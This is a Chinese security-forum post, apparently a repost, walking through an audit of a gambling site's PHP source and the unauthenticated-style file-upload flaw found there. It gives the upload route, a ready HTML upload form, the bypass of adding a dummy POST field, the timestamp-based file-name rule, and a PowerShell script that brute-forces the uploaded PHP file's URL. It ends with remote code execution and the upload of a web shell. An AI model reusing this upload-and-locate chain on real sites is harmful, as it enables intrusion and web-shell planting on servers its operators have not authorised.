记一次某赌博网站代审上传Getshell(入门版)-网络安全论坛-网络安全-阻击者联盟

记一次某赌博网站代审上传Getshell(入门版)

记一次某赌博网站代审RCE

ZAC安全

////前言

HXD最近在打某市局小案件,然后周一的时候发了我个源码包让我审一下,审计后发现还是还是很简单的,适合水一篇公众号入门教程文。

d2b5ca33bd20251228082706

01

审计过程

今天刚好忙完歇一会,顺手看看,拿到源码开始审计,全局搜上传点,直接抓到一个无条件上传

d2b5ca33bd20251228082719

打开网址一看是m.php?m=Public&a=login,确定路由后直接开始构造

上传包

m.php?m=VideoCollectnew&a=addroom
<!doctype html>
<meta charset="utf-8">
<form action="http://xxx/m.php?m=VideoCollectnew&a=addroom" method="post" enctype="multipart/form-data">
<div>上传:<input type="file" name="img" required></div>
<button type="submit">提交</button>
</form>

不出意外就要出意外了,响应302

d2b5ca33bd20251228082741

回头再看源代码,发现最开始的时候需要验证一下管理员权限

d2b5ca33bd20251228082758

问一下hxd,发现还真有账密,省的绕过了

d2b5ca33bd20251228082809

登进去拿到了cookie,再进行上传,这时候虽然有了响应包,但还没有上传成功,跟正常访问接口一样

d2b5ca33bd20251228082818

d2b5ca33bd20251228082824

原因在于m要进else的逻辑必须让Post数据非空,所以我们可以在表单上随便加一些参数,不是FILE参数即可

d2b5ca33bd20251228082833

再次上传,发现回显不一样了,那么上传看样子是成功了,现在只需要爆破下文件名即可

d2b5ca33bd20251228082844

文件名命名的规则为 url/apk/time()+filename

d2b5ca33bd20251228082903

上传完后,立马用脚本爆破前后30s的时间戳加文件名即可

$baseUrl ="http:// url"
$file = “test9991zzz.php" 
$now = [int][double]((Get-Date).ToUniversalTime() -
[datetime]"1970-01-01").TotalSeconds
-30..30 | ForEach-Object {
$ts = $now + $_
$url = "$baseUrl/apk/${ts}$file"
try {
$r = Invoke-WebRequest -Uri $url -Method GET -TimeoutSec 3 -UseBasicParsing
if ($r.StatusCode -eq 200) { "$url"; break }
} catch {}
}

d2b5ca33bd20251228082919

访问一下,成功RCE

d2b5ca33bd20251228082926

传个大马收工

d2b5ca33bd20251228082937

 

请登录后发表评论

    没有回复内容